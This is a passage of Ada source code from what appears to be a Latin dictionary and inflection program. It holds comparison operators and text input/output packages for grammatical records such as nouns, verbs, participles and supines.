LEFT.SUPINE.CON.VAR = RIGHT.SUPINE.CON.VAR and then
LEFT.SUPINE.NUMBER = RIGHT.SUPINE.NUMBER and then
LEFT.SUPINE.CS = RIGHT.SUPINE.CS and then
LEFT.SUPINE.GENDER < RIGHT.SUPINE.GENDER) then
return TRUE;
end if;
when PREP =>
return LEFT.PREP.OBJ < RIGHT.PREP.OBJ;
when CONJ =>
null;
when INTERJ =>
null;
when NUM =>
if LEFT.NUM.DECL.WHICH < RIGHT.NUM.DECL.WHICH or else
(LEFT.NUM.DECL.WHICH = RIGHT.NUM.DECL.WHICH and then
LEFT.NUM.DECL.VAR < RIGHT.NUM.DECL.VAR) or else
(LEFT.NUM.DECL.WHICH = RIGHT.NUM.DECL.WHICH and then
LEFT.NUM.DECL.VAR = RIGHT.NUM.DECL.VAR and then
LEFT.NUM.NUMBER < RIGHT.NUM.NUMBER) or else
(LEFT.NUM.DECL.WHICH = RIGHT.NUM.DECL.WHICH and then
LEFT.NUM.DECL.VAR = RIGHT.NUM.DECL.VAR and then
LEFT.NUM.NUMBER = RIGHT.NUM.NUMBER and then
LEFT.NUM.CS < RIGHT.NUM.CS) or else
(LEFT.NUM.DECL.WHICH = RIGHT.NUM.DECL.WHICH and then
LEFT.NUM.DECL.VAR = RIGHT.NUM.DECL.VAR and then
LEFT.NUM.NUMBER = RIGHT.NUM.NUMBER and then
LEFT.NUM.CS = RIGHT.NUM.CS and then
LEFT.NUM.GENDER < RIGHT.NUM.GENDER) or else
(LEFT.NUM.DECL.WHICH = RIGHT.NUM.DECL.WHICH and then
LEFT.NUM.DECL.VAR = RIGHT.NUM.DECL.VAR and then
LEFT.NUM.NUMBER = RIGHT.NUM.NUMBER and then
LEFT.NUM.CS = RIGHT.NUM.CS and then
LEFT.NUM.GENDER = RIGHT.NUM.GENDER and then
LEFT.NUM.SORT < RIGHT.NUM.SORT) then
return TRUE;
end if;
when TACKON =>
null;
when PREFIX =>
null;
when SUFFIX =>
null;
when others =>
null;
end case;
else
return LEFT.POFS < RIGHT.POFS;
end if;
return FALSE;
exception
when CONSTRAINT_ERROR =>
return LEFT.POFS < RIGHT.POFS;
end "<";
function "<=" (LEFT, RIGHT : PART_OF_SPEECH_TYPE) return BOOLEAN is
begin
if RIGHT = LEFT or else
(LEFT = PACK and RIGHT = PRON) or else
RIGHT = X then
return TRUE;
else
return FALSE;
end if;
end "<=";
function "<=" (LEFT, RIGHT : DECN_RECORD) return BOOLEAN is
begin
if RIGHT = LEFT or else
(RIGHT = DECN_RECORD'(0, 0) and LEFT.WHICH /= 9) or else
RIGHT = DECN_RECORD'(LEFT.WHICH, 0) then
return TRUE;
else
return FALSE;
end if;
end "<=";
function "<=" (LEFT, RIGHT : GENDER_TYPE) return BOOLEAN is
begin
if RIGHT = LEFT or else
RIGHT = X or else
(RIGHT = C and then (LEFT = M or LEFT = F)) then
return TRUE;
else
return FALSE;
end if;
end "<=";
function "<=" (LEFT, RIGHT : CASE_TYPE) return BOOLEAN is
begin
if RIGHT = LEFT or else
RIGHT = X then
return TRUE;
else
return FALSE;
end if;
end "<=";
function "<=" (LEFT, RIGHT : NUMBER_TYPE) return BOOLEAN is
begin
if RIGHT = LEFT or else
RIGHT = X then
return TRUE;
else
return FALSE;
end if;
end "<=";
function "<=" (LEFT, RIGHT : PERSON_TYPE) return BOOLEAN is
begin
if RIGHT = LEFT or else
RIGHT = 0 then
return TRUE;
else
return FALSE;
end if;
end "<=";
function "<=" (LEFT, RIGHT : COMPARISON_TYPE) return BOOLEAN is
begin
if RIGHT = LEFT or else
RIGHT = X then
return TRUE;
else
return FALSE;
end if;
end "<=";
function "<=" (LEFT, RIGHT : TENSE_VOICE_MOOD_RECORD) return BOOLEAN is
begin
if (RIGHT.TENSE = LEFT.TENSE or else
RIGHT.TENSE = X) and then
(RIGHT.VOICE = LEFT.VOICE or else
RIGHT.VOICE = X) and then
(RIGHT.MOOD = LEFT.MOOD or else
RIGHT.MOOD = X) then
return TRUE;
else
return FALSE;
end if;
end "<=";
function "<=" (LEFT, RIGHT : NOUN_KIND_TYPE) return BOOLEAN is
begin
if (RIGHT = LEFT or else
RIGHT = X) then
return TRUE;
else
return FALSE;
end if;
end "<=";
function "<=" (LEFT, RIGHT : PRONOUN_KIND_TYPE) return BOOLEAN is
begin
if (RIGHT = LEFT or else
RIGHT = X) then
return TRUE;
else
return FALSE;
end if;
end "<=";
function "<=" (LEFT, RIGHT : VERB_KIND_TYPE) return BOOLEAN is
begin
if (RIGHT = LEFT or else
RIGHT = X) then
return TRUE;
else
return FALSE;
end if;
end "<=";
function "<=" (LEFT, RIGHT : NUMERAL_SORT_TYPE) return BOOLEAN is
begin
if (RIGHT = LEFT or else
RIGHT = X) then
return TRUE;
else
return FALSE;
end if;
end "<=";
function "<=" (LEFT, RIGHT : STEM_KEY_TYPE) return BOOLEAN is
begin -- Only works for 2 stem parts, not verbs
if (RIGHT = LEFT or else
RIGHT = 0) then
return TRUE;
else
return FALSE;
end if;
end "<=";
function "<=" (LEFT, RIGHT : AGE_TYPE) return BOOLEAN is
begin
if RIGHT = LEFT or else
RIGHT = X then
return TRUE;
else
return FALSE;
end if;
end "<=";
function "<=" (LEFT, RIGHT : FREQUENCY_TYPE) return BOOLEAN is
begin
if RIGHT = LEFT or else
RIGHT = X then
return TRUE;
else
return FALSE;
end if;
end "<=";
package body STEM_TYPE_IO is
procedure GET(F : in FILE_TYPE; D : out STEM_TYPE) is
C : CHARACTER := ' ';
begin
D := NULL_STEM_TYPE;
for I in 1..STEM_TYPE_IO.DEFAULT_WIDTH loop
GET(F, C);
if (C not in 'A'..'Z') and (C not in 'a'..'z') then
exit;
else
D(I) := C;
end if;
end loop;
end GET;
procedure GET(D : out STEM_TYPE) is
C : CHARACTER := ' ';
begin
D := NULL_STEM_TYPE;
for I in 1..STEM_TYPE_IO.DEFAULT_WIDTH loop
TEXT_IO.GET(C);
if (C not in 'A'..'Z') and (C not in 'a'..'z') then
exit;
else
D(I) := C;
end if;
end loop;
end GET;
procedure PUT(F : in FILE_TYPE; D : in STEM_TYPE) is
begin
TEXT_IO.PUT(F, D);
end PUT;
procedure PUT(D : in STEM_TYPE) is
begin
TEXT_IO.PUT(D);
end PUT;
procedure GET(S : in STRING; D : out STEM_TYPE;
LAST : out INTEGER) is
C : CHARACTER;
begin
D := NULL_STEM_TYPE;
LAST := 0;
for I in 1..STEM_TYPE_IO.DEFAULT_WIDTH loop
C := S(I);
if (C not in 'A'..'Z') and (C not in 'a'..'z') then
exit;
else
D(I) := C;
LAST := I;
end if;
end loop;
end GET;
procedure PUT(S : out STRING; D : in STEM_TYPE) is
begin
S(S'FIRST..S'FIRST+STEM_TYPE_IO.DEFAULT_WIDTH-1) := D;
end PUT;
end STEM_TYPE_IO;
package body DECN_RECORD_IO is
-- This package will carry the documentation for all the following packages
-- Must have "use" for _IO for each of the components of the record
use INTEGER_IO;
-- This is a dummy used to GET the space character PUT between components
SPACER : CHARACTER := ' ';
-- The standard 6 procedures are defined as in TEXT_IO
procedure GET(F : in FILE_TYPE; D : out DECN_RECORD) is
-- Get from a file
begin
-- Get the first component
GET(F, D.WHICH);
-- Then Get (and ignore) space character which is Put between components
GET(F, SPACER);
-- Get the next component
GET(F, D.VAR);
end GET;
procedure GET(D : out DECN_RECORD) is
-- Get from the current input, in the same manner
begin
GET(D.WHICH);
GET(SPACER);
GET(D.VAR);
end GET;
procedure PUT(F : in FILE_TYPE; D : in DECN_RECORD) is
-- Put to a file
begin
-- Put the first component, with whatever Put is applicable (and use'd)
PUT(F, D.WHICH, 1);
-- Put the blank character between components
PUT(F, ' ');
-- Put the next component
PUT(F, D.VAR, 1);
end PUT;
procedure PUT(D : in DECN_RECORD) is
-- Likewise for Put to current output
begin
PUT(D.WHICH, 1);
PUT(' ');
PUT(D.VAR, 1);
end PUT;
procedure GET(S : in STRING;
D : out DECN_RECORD; LAST : out INTEGER) is
-- Get from a string
-- Initialize the string position parameter
-- Make it first-1 so the first string specification looks like later ones
L : INTEGER := S'FIRST - 1;
begin
-- Get with the use'd _IO package the first component
GET(S(L+1..S'LAST), D.WHICH, L);
-- The L is the last position read, so add one to skip the spacer
L := L + 1;
-- Get the next component
GET(S(L+1..S'LAST), D.VAR, LAST);
end GET;
procedure PUT(S : out STRING; D : in DECN_RECORD) is
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
-- Make a place the DEFAULT_WIDTH of the component to be Put
-- The DEFAULT_WIDTH has been set for these _IO packages to be
-- the LONGEST component width, not the normal Ada default
M := L + 1; -- But WHICH is to be PUT WIDTH 1
-- Put onto the substring that is exactly the DEFAULT (LONGEST) size
PUT(S(L+1..M), D.WHICH);
-- Advance the position by 1 to the position to make the blank
L := M + 1;
-- Write the blank
S(L) := ' ';
-- Calculate the next substring, of DEFAULT_WIDTH for next component
M := L + 1;
-- Put the next component
PUT(S(L+1..M), D.VAR);
-- The following may be necessary to fill the out string
-- but usually the out string has been specified exactly
S(M+1..S'LAST) := (others => ' ');
end PUT;
end DECN_RECORD_IO;
package body TENSE_VOICE_MOOD_RECORD_IO is
use TENSE_TYPE_IO;
use VOICE_TYPE_IO;
use MOOD_TYPE_IO;
SPACER : CHARACTER := ' ';
procedure GET(F : in FILE_TYPE; T : out TENSE_VOICE_MOOD_RECORD) is
begin
GET(F, T.TENSE);
GET(F, SPACER);
GET(F, T.VOICE);
GET(F, SPACER);
GET(F, T.MOOD);
end GET;
procedure GET(T : out TENSE_VOICE_MOOD_RECORD) is
begin
GET(T.TENSE);
GET(SPACER);
GET(T.VOICE);
GET(SPACER);
GET(T.MOOD);
end GET;
procedure PUT(F : in FILE_TYPE; T : in TENSE_VOICE_MOOD_RECORD) is
begin
PUT(F, T.TENSE);
PUT(F, ' ');
PUT(F, T.VOICE);
PUT(F, ' ');
PUT(F, T.MOOD);
end PUT;
procedure PUT(T : in TENSE_VOICE_MOOD_RECORD) is
begin
PUT(T.TENSE);
PUT(' ');
PUT(T.VOICE);
PUT(' ');
PUT(T.MOOD);
end PUT;
procedure GET(S : in STRING;
T : out TENSE_VOICE_MOOD_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
GET(S(L+1..S'LAST), T.TENSE, L);
L := L + 1;
GET(S(L+1..S'LAST), T.VOICE, L);
L := L + 1;
GET(S(L+1..S'LAST), T.MOOD, LAST);
end GET;
procedure PUT(S : out STRING; T : in TENSE_VOICE_MOOD_RECORD) is
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
M := L + TENSE_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), T.TENSE);
L := M + 1;
S(L) := ' ';
M := L + VOICE_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), T.VOICE);
L := M + 1;
S(L) := ' ';
M := L + MOOD_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), T.MOOD);
S(M+1..S'LAST) := (others => ' ');
end PUT;
end TENSE_VOICE_MOOD_RECORD_IO;
package body NOUN_RECORD_IO is
use DECN_RECORD_IO;
use CASE_TYPE_IO;
use GENDER_TYPE_IO;
use NUMBER_TYPE_IO;
SPACER : CHARACTER := ' ';
procedure GET(F : in FILE_TYPE; N : out NOUN_RECORD) is
begin
GET(F, N.DECL);
GET(F, SPACER);
GET(F, N.CS);
GET(F, SPACER);
GET(F, N.NUMBER);
GET(F, SPACER);
GET(F, N.GENDER);
end GET;
procedure GET(N : out NOUN_RECORD) is
begin
GET(N.DECL);
GET(SPACER);
GET(N.CS);
GET(SPACER);
GET(N.NUMBER);
GET(SPACER);
GET(N.GENDER);
end GET;
procedure PUT(F : in FILE_TYPE; N : in NOUN_RECORD) is
begin
PUT(F, N.DECL);
PUT(F, ' ');
PUT(F, N.CS);
PUT(F, ' ');
PUT(F, N.NUMBER);
PUT(F, ' ');
PUT(F, N.GENDER);
end PUT;
procedure PUT(N : in NOUN_RECORD) is
begin
PUT(N.DECL);
PUT(' ');
PUT(N.CS);
PUT(' ');
PUT(N.NUMBER);
PUT(' ');
PUT(N.GENDER);
end PUT;
procedure GET(S : in STRING; N : out NOUN_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
GET(S(L+1..S'LAST), N.DECL, L);
L := L + 1;
GET(S(L+1..S'LAST), N.CS, L);
L := L + 1;
GET(S(L+1..S'LAST), N.NUMBER, L);
L := L + 1;
GET(S(L+1..S'LAST), N.GENDER, LAST);
end GET;
procedure PUT(S : out STRING; N : in NOUN_RECORD) is
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
M := L + DECN_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), N.DECL);
L := M + 1;
S(L) := ' ';
M := L + CASE_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), N.CS);
L := M + 1;
S(L) := ' ';
M := L + NUMBER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), N.NUMBER);
L := M + 1;
S(L) := ' ';
M := L + GENDER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), N.GENDER);
S(M+1..S'LAST) := (others => ' ');
end PUT;
end NOUN_RECORD_IO;
package body PRONOUN_RECORD_IO is
use DECN_RECORD_IO;
use CASE_TYPE_IO;
use GENDER_TYPE_IO;
use NUMBER_TYPE_IO;
SPACER : CHARACTER := ' ';
procedure GET(F : in FILE_TYPE; P : out PRONOUN_RECORD) is
begin
GET(F, P.DECL);
GET(F, SPACER);
GET(F, P.CS);
GET(F, SPACER);
GET(F, P.NUMBER);
GET(F, SPACER);
GET(F, P.GENDER);
end GET;
procedure GET(P : out PRONOUN_RECORD) is
begin
GET(P.DECL);
GET(SPACER);
GET(P.CS);
GET(SPACER);
GET(P.NUMBER);
GET(SPACER);
GET(P.GENDER);
end GET;
procedure PUT(F : in FILE_TYPE; P : in PRONOUN_RECORD) is
begin
PUT(F, P.DECL);
PUT(F, ' ');
PUT(F, P.CS);
PUT(F, ' ');
PUT(F, P.NUMBER);
PUT(F, ' ');
PUT(F, P.GENDER);
end PUT;
procedure PUT(P : in PRONOUN_RECORD) is
begin
PUT(P.DECL);
PUT(' ');
PUT(P.CS);
PUT(' ');
PUT(P.NUMBER);
PUT(' ');
PUT(P.GENDER);
end PUT;
procedure GET(S : in STRING; P : out PRONOUN_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
GET(S(L+1..S'LAST), P.DECL, L);
L := L + 1;
GET(S(L+1..S'LAST), P.CS, L);
L := L + 1;
GET(S(L+1..S'LAST), P.NUMBER, L);
L := L + 1;
GET(S(L+1..S'LAST), P.GENDER, LAST);
end GET;
procedure PUT(S : out STRING; P : in PRONOUN_RECORD) is
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
M := L + DECN_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.DECL);
L := M + 1;
S(L) := ' ';
M := L + CASE_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.CS);
L := M + 1;
S(L) := ' ';
M := L + NUMBER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.NUMBER);
L := M + 1;
S(L) := ' ';
M := L + GENDER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.GENDER);
S(M+1..S'LAST) := (others => ' ');
end PUT;
end PRONOUN_RECORD_IO;
package body PROPACK_RECORD_IO is
use DECN_RECORD_IO;
use CASE_TYPE_IO;
use NUMBER_TYPE_IO;
use GENDER_TYPE_IO;
SPACER : CHARACTER := ' ';
procedure GET(F : in FILE_TYPE; P : out PROPACK_RECORD) is
begin
GET(F, P.DECL);
GET(F, SPACER);
GET(F, P.CS);
GET(F, SPACER);
GET(F, P.NUMBER);
GET(F, SPACER);
GET(F, P.GENDER);
end GET;
procedure GET(P : out PROPACK_RECORD) is
begin
GET(P.DECL);
GET(SPACER);
GET(P.CS);
GET(SPACER);
GET(P.NUMBER);
GET(SPACER);
GET(P.GENDER);
end GET;
procedure PUT(F : in FILE_TYPE; P : in PROPACK_RECORD) is
begin
PUT(F, P.DECL);
PUT(F, ' ');
PUT(F, P.CS);
PUT(F, ' ');
PUT(F, P.NUMBER);
PUT(F, ' ');
PUT(F, P.GENDER);
end PUT;
procedure PUT(P : in PROPACK_RECORD) is
begin
PUT(P.DECL);
PUT(' ');
PUT(P.CS);
PUT(' ');
PUT(P.NUMBER);
PUT(' ');
PUT(P.GENDER);
end PUT;
procedure GET(S : in STRING; P : out PROPACK_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
GET(S(L+1..S'LAST), P.DECL, L);
L := L + 1;
GET(S(L+1..S'LAST), P.CS, L);
L := L + 1;
GET(S(L+1..S'LAST), P.NUMBER, L);
L := L + 1;
GET(S(L+1..S'LAST), P.GENDER, LAST);
end GET;
procedure PUT(S : out STRING; P : in PROPACK_RECORD) is
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
M := L + DECN_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.DECL);
L := M + 1;
S(L) := ' ';
M := L + CASE_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.CS);
L := M + 1;
S(L) := ' ';
M := L + NUMBER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.NUMBER);
L := M + 1;
S(L) := ' ';
M := L + GENDER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), P.GENDER);
S(M+1..S'LAST) := (others => ' ');
end PUT;
end PROPACK_RECORD_IO;
package body ADJECTIVE_RECORD_IO is
use DECN_RECORD_IO;
use GENDER_TYPE_IO;
use CASE_TYPE_IO;
use NUMBER_TYPE_IO;
use COMPARISON_TYPE_IO;
SPACER : CHARACTER := ' ';
procedure GET(F : in FILE_TYPE; A : out ADJECTIVE_RECORD) is
begin
GET(F, A.DECL);
GET(F, SPACER);
GET(F, A.CS);
GET(F, SPACER);
GET(F, A.NUMBER);
GET(F, SPACER);
GET(F, A.GENDER);
GET(F, SPACER);
GET(F, A.CO);
end GET;
procedure GET(A : out ADJECTIVE_RECORD) is
begin
GET(A.DECL);
GET(SPACER);
GET(A.CS);
GET(SPACER);
GET(A.NUMBER);
GET(SPACER);
GET(A.GENDER);
GET(SPACER);
GET(A.CO);
end GET;
procedure PUT(F : in FILE_TYPE; A : in ADJECTIVE_RECORD) is
begin
PUT(F, A.DECL);
PUT(F, ' ');
PUT(F, A.CS);
PUT(F, ' ');
PUT(F, A.NUMBER);
PUT(F, ' ');
PUT(F, A.GENDER);
PUT(F, ' ');
PUT(F, A.CO);
end PUT;
procedure PUT(A : in ADJECTIVE_RECORD) is
begin
PUT(A.DECL);
PUT(' ');
PUT(A.CS);
PUT(' ');
PUT(A.NUMBER);
PUT(' ');
PUT(A.GENDER);
PUT(' ');
PUT(A.CO);
end PUT;
procedure GET(S : in STRING; A : out ADJECTIVE_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
GET(S(L+1..S'LAST), A.DECL, L);
L := L + 1;
GET(S(L+1..S'LAST), A.CS, L);
L := L + 1;
GET(S(L+1..S'LAST), A.NUMBER, L);
L := L + 1;
GET(S(L+1..S'LAST), A.GENDER, L);
L := L + 1;
GET(S(L+1..S'LAST), A.CO, LAST);
end GET;
procedure PUT(S : out STRING; A : in ADJECTIVE_RECORD) is
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
M := L + DECN_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), A.DECL);
L := M + 1;
S(L) := ' ';
M := L + CASE_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), A.CS);
L := M + 1;
S(L) := ' ';
M := L + NUMBER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), A.NUMBER);
L := M + 1;
S(L) := ' ';
M := L + GENDER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), A.GENDER);
L := M + 1;
S(L) := ' ';
M := L + COMPARISON_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), A.CO);
S(M+1..S'LAST) := (others => ' ');
end PUT;
end ADJECTIVE_RECORD_IO;
package body NUMERAL_RECORD_IO is
use DECN_RECORD_IO;
use CASE_TYPE_IO;
use NUMBER_TYPE_IO;
use GENDER_TYPE_IO;
use NUMERAL_SORT_TYPE_IO;
use GENDER_TYPE_IO;
SPACER : CHARACTER := ' ';
procedure GET(F : in FILE_TYPE; NUM : out NUMERAL_RECORD) is
begin
GET(F, NUM.DECL);
GET(F, SPACER);
GET(F, NUM.CS);
GET(F, SPACER);
GET(F, NUM.NUMBER);
GET(F, SPACER);
GET(F, NUM.GENDER);
GET(F, SPACER);
GET(F, NUM.SORT);
end GET;
procedure GET(NUM : out NUMERAL_RECORD) is
begin
GET(NUM.DECL);
GET(SPACER);
GET(SPACER);
GET(NUM.NUMBER);
GET(SPACER);
GET(NUM.GENDER);
GET(SPACER);
GET(NUM.SORT);
end GET;
procedure PUT(F : in FILE_TYPE; NUM : in NUMERAL_RECORD) is
begin
PUT(F, NUM.DECL);
PUT(F, ' ');
PUT(F, NUM.CS);
PUT(F, ' ');
PUT(F, NUM.NUMBER);
PUT(F, ' ');
PUT(F, NUM.GENDER);
PUT(F, ' ');
PUT(F, NUM.SORT);
end PUT;
procedure PUT(NUM : in NUMERAL_RECORD) is
begin
PUT(NUM.DECL);
PUT(' ');
PUT(NUM.CS);
PUT(' ');
PUT(NUM.NUMBER);
PUT(' ');
PUT(NUM.GENDER);
PUT(' ');
PUT(NUM.SORT);
end PUT;
procedure GET(S : in STRING; NUM : out NUMERAL_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
GET(S(L+1..S'LAST), NUM.DECL, L);
L := L + 1;
GET(S(L+1..S'LAST), NUM.CS, L);
L := L + 1;
GET(S(L+1..S'LAST), NUM.NUMBER, L);
L := L + 1;
GET(S(L+1..S'LAST), NUM.GENDER, L);
L := L + 1;
GET(S(L+1..S'LAST), NUM.SORT, LAST);
end GET;
procedure PUT(S : out STRING; NUM : in NUMERAL_RECORD) is
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
M := L + DECN_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), NUM.DECL);
L := M + 1;
S(L) := ' ';
M := L + CASE_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), NUM.CS);
L := M + 1;
S(L) := ' ';
M := L + NUMBER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), NUM.NUMBER);
L := M + 1;
S(L) := ' ';
M := L + GENDER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), NUM.GENDER);
L := M + 1;
S(L) := ' ';
M := L + NUMERAL_SORT_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), NUM.SORT);
S(M+1..S'LAST) := (others => ' ');
end PUT;
end NUMERAL_RECORD_IO;
package body ADVERB_RECORD_IO is
use COMPARISON_TYPE_IO;
SPACER : CHARACTER := ' ';
procedure GET(F : in FILE_TYPE; A : out ADVERB_RECORD) is
begin
GET(F, A.CO);
end GET;
procedure GET(A : out ADVERB_RECORD) is
begin
GET(A.CO);
end GET;
procedure PUT(F : in FILE_TYPE; A : in ADVERB_RECORD) is
begin
PUT(F, A.CO);
end PUT;
procedure PUT(A : in ADVERB_RECORD) is
begin
PUT(A.CO);
end PUT;
procedure GET(S : in STRING; A : out ADVERB_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
GET(S(L+1..S'LAST), A.CO, LAST);
end GET;
procedure PUT(S : out STRING; A : in ADVERB_RECORD) is
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
M := L + COMPARISON_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), A.CO);
S(M+1..S'LAST) := (others => ' ');
end PUT;
end ADVERB_RECORD_IO;
package body VERB_RECORD_IO is
use DECN_RECORD_IO;
use TENSE_VOICE_MOOD_RECORD_IO;
use PERSON_TYPE_IO;
use NUMBER_TYPE_IO;
SPACER : CHARACTER := ' ';
procedure GET(F : in FILE_TYPE; V : out VERB_RECORD) is
begin
GET(F, V.CON);
GET(F, SPACER);
GET(F, V.TENSE_VOICE_MOOD);
GET(F, SPACER);
GET(F, V.PERSON);
GET(F, SPACER);
GET(F, V.NUMBER);
end GET;
procedure GET(V : out VERB_RECORD) is
begin
GET(V.CON);
GET(SPACER);
GET(V.TENSE_VOICE_MOOD);
GET(SPACER);
GET(V.PERSON);
GET(SPACER);
GET(V.NUMBER);
end GET;
procedure PUT(F : in FILE_TYPE; V : in VERB_RECORD) is
begin
PUT(F, V.CON);
PUT(F, ' ');
PUT(F, V.TENSE_VOICE_MOOD);
PUT(F, ' ');
PUT(F, V.PERSON);
PUT(F, ' ');
PUT(F, V.NUMBER);
end PUT;
procedure PUT(V : in VERB_RECORD) is
begin
PUT(V.CON);
PUT(' ');
PUT(V.TENSE_VOICE_MOOD);
PUT(' ');
PUT(V.PERSON);
PUT(' ');
PUT(V.NUMBER);
end PUT;
procedure GET(S : in STRING; V : out VERB_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
GET(S(L+1..S'LAST), V.CON, L);
L := L + 1;
GET(S(L+1..S'LAST), V.TENSE_VOICE_MOOD, L);
L := L + 1;
GET(S(L+1..S'LAST), V.PERSON, L);
L := L + 1;
GET(S(L+1..S'LAST), V.NUMBER, LAST);
end GET;
procedure PUT(S : out STRING; V : in VERB_RECORD) is
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
M := L + DECN_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), V.CON);
L := M + 1;
S(L) := ' ';
M := L + TENSE_VOICE_MOOD_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), V.TENSE_VOICE_MOOD);
L := M + 1;
S(L) := ' ';
M := L + PERSON_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), V.PERSON);
L := M + 1;
S(L) := ' ';
M := L + NUMBER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), V.NUMBER);
S(M+1..S'LAST) := (others => ' ');
end PUT;
end VERB_RECORD_IO;
package body VPAR_RECORD_IO is
use DECN_RECORD_IO;
use CASE_TYPE_IO;
use NUMBER_TYPE_IO;
use GENDER_TYPE_IO;
use TENSE_VOICE_MOOD_RECORD_IO;
SPACER : CHARACTER := ' ';
procedure GET(F : in FILE_TYPE; VP : out VPAR_RECORD) is
begin
GET(F, VP.CON);
GET(F, SPACER);
GET(F, VP.CS);
GET(F, SPACER);
GET(F, VP.NUMBER);
GET(F, SPACER);
GET(F, VP.GENDER);
GET(F, SPACER);
GET(F, VP.TENSE_VOICE_MOOD);
end GET;
procedure GET(VP : out VPAR_RECORD) is
begin
GET(VP.CON);
GET(SPACER);
GET(VP.CS);
GET(SPACER);
GET(VP.NUMBER);
GET(SPACER);
GET(VP.GENDER);
GET(SPACER);
GET(VP.TENSE_VOICE_MOOD);
end GET;
procedure PUT(F : in FILE_TYPE; VP : in VPAR_RECORD) is
begin
PUT(F, VP.CON);
PUT(F, ' ');
PUT(F, VP.CS);
PUT(F, ' ');
PUT(F, VP.NUMBER);
PUT(F, ' ');
PUT(F, VP.GENDER);
PUT(F, ' ');
PUT(F, VP.TENSE_VOICE_MOOD);
end PUT;
procedure PUT(VP : in VPAR_RECORD) is
begin
PUT(VP.CON);
PUT(' ');
PUT(VP.CS);
PUT(' ');
PUT(VP.NUMBER);
PUT(' ');
PUT(VP.GENDER);
PUT(' ');
PUT(VP.TENSE_VOICE_MOOD);
end PUT;
procedure GET(S : in STRING; VP : out VPAR_RECORD; LAST : out INTEGER) is
L : INTEGER := S'FIRST - 1;
begin
GET(S(L+1..S'LAST), VP.CON, L);
L := L + 1;
GET(S(L+1..S'LAST), VP.CS, L);
L := L + 1;
GET(S(L+1..S'LAST), VP.NUMBER, L);
L := L + 1;
GET(S(L+1..S'LAST), VP.GENDER, L);
L := L + 1;
GET(S(L+1..S'LAST), VP.TENSE_VOICE_MOOD, LAST);
end GET;
procedure PUT(S : out STRING; VP : in VPAR_RECORD) is
L : INTEGER := S'FIRST - 1;
M : INTEGER := 0;
begin
M := L + DECN_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), VP.CON);
L := M + 1;
S(L) := ' ';
M := L + CASE_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), VP.CS);
L := M + 1;
S(L) := ' ';
M := L + NUMBER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), VP.NUMBER);
L := M + 1;
S(L) := ' ';
M := L + GENDER_TYPE_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), VP.GENDER);
L := M + 1;
S(L) := ' ';
M := L + TENSE_VOICE_MOOD_RECORD_IO.DEFAULT_WIDTH;
PUT(S(L+1..M), VP.TENSE_VOICE_MOOD);
S(M+1..S'LAST) := (others => ' ');
end PUT;
end VPAR_RECORD_IO;
package body SUPINE_RECORD_IO is
use DECN_RECORD_IO;
use CASE_TYPE_IO;
use NUMBER_TYPE_IO;
use GENDER_TYPE_IO;
SPACER : CHARACTER := ' ';
procedure GET(F : in FILE_TYPE; VP : out SUPINE_RECORD) is
begin
GET(F, VP.CON);
GET(F, SPACER);
GET(F, VP.CS);
GET(F, SPACER);
GET(F, VP.NUMBER);
GET(F, SPACER);
GET(F, VP.GENDER);
end GET;
procedure GET(VP : out SUPINE_RECORD) is
begin
GET(VP.CON);
GET(SPACER);
GET(VP.CS);
GET(SPACER);
GET(VP.NUMBER);
GET(SPACER);
GET(VP.GENDER);
end GET;
